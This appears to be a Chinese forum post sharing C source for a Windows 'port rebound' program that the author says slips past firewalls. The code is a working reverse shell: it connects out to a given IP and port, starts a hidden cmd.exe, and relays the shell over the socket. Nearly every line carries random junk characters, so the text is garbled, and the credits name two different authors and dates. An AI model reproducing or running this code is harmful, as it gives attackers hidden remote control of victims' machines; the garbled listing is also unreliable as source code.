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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Lh!J >  
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/* ============================== T[UN@^DP(  
Rebound port in Windows NT svcK?^ HTe  
By wind,2006/7 F%@aB<Nu  
===============================*/ BBwy,\o#  
#include  3KlbP  
#include gd`!tRcNY  
i:Y^{\Z?V  
#pragma comment(lib,"wsock32.lib") +M\`#i\g>  
iJ1"at  
void OutputShell(); 3TeY%5iVt  
SOCKET sClient; O;:mCt _H  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (MxQ+D\  
!Prg_6 `  
void main(int argc,char **argv) v$?+MNks  
{ Nfrw0b  
WSADATA stWsaData; 1WxK#c-)  
int nRet; $P/~rZ@M@  
SOCKADDR_IN stSaiClient,stSaiServer; PNgY >=Y  
f!Y?S  
if(argc != 3) {?}E^5Z*g  
{ 0zmE>/O+  
printf("Useage:\n\rRebound DestIP DestPort\n"); Z>:NPZODf  
return; Vc&! OE  
} p6>Svcc  
6t[+pL\b  
WSAStartup(MAKEWORD(2,2),&stWsaData); 7)`nD<j 5  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i&bA2p3+d  
S&Zm0Ku  
stSaiClient.sin_family = AF_INET; vlmB`T  
stSaiClient.sin_port = htons(0); qouhuH_WtJ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %Nlt H/I  
M?Y;a5{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,8U &?8l  
{ ;K:zmH  
printf("Bind Socket Failed!\n"); bzBEX mC  
return; x<tb  
} s~ a"4~f  
f-vCm 5f  
stSaiServer.sin_family = AF_INET; <\r T%f}3^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); UZ\u;/}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4":KoS`,j  
K[YI4pt7  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kCWV r  
{ QwW&\h[8?  
printf("Connect Error!"); y-'$(x  
return; ]7W&JKmA&  
} :~&~y-14  
OutputShell(); c}lb%^;)E  
}  VA6}  
4VJ-,Z  
void OutputShell() D=j-!{zB  
{ 6Zm# bFQ  
char szBuff[1024]; q;T{|5/O  
SECURITY_ATTRIBUTES stSecurityAttributes; s4X>.ToMC  
OSVERSIONINFO stOsversionInfo; k:t ]s_`<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Yb|c\[ %  
STARTUPINFO stStartupInfo; 2b}t,&bv?  
char *szShell; Hq'`8f8N  
PROCESS_INFORMATION stProcessInformation; hZ?Rof  
unsigned long lBytesRead; W <9T0sZ  
4[m`#  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \ub7`01  
% L$bf#  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); UOv+T8f=  
stSecurityAttributes.lpSecurityDescriptor = 0; k9sh @ENy  
stSecurityAttributes.bInheritHandle = TRUE; XRM_x:+]  
$v4.sl:x  
ysQ_[ ]/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); RIWxs Zt  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #^u$  
eBZXI)pPh  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); W#9BNKL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u_w#gjiC  
stStartupInfo.wShowWindow = SW_HIDE; @K  &GJ  
stStartupInfo.hStdInput = hReadPipe; B3pCy~*5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o |{5M|nD  
@>r._ ~  
GetVersionEx(&stOsversionInfo); >c1qpk/  
`x+ B+)0X  
switch(stOsversionInfo.dwPlatformId) [%"|G9  
{ |GdUL%1hnC  
case 1: YqhAZp<  
szShell = "command.com"; 'nzg6^I7g  
break; >N^Jj:~l  
default: =MQoC:l  
szShell = "cmd.exe"; a#cCpE  
break; %P;lv*v.  
} 7Haa;2 T'  
y`Wty@  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >:74%D0UF  
[owWiN4`s  
send(sClient,szMsg,77,0); g!g#]9j  
while(1) jD$,.AVvz  
{ |^&b8  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?&8^&brwG  
if(lBytesRead) ],@rS9K  
{ C)[,4wt,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); xgwY@'GN  
send(sClient,szBuff,lBytesRead,0); b1(T4w6  
} >!eAM )  
else [^WC lRF  
{ Fco`^kql.D  
lBytesRead=recv(sClient,szBuff,1024,0); %f&/E"M  
if(lBytesRead<=0) break; K0u|U`   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,;EIh}  
}  :|>h7v  
} v,FU^f-'  
0M_ DB=  
return; Z)I+@2  
}
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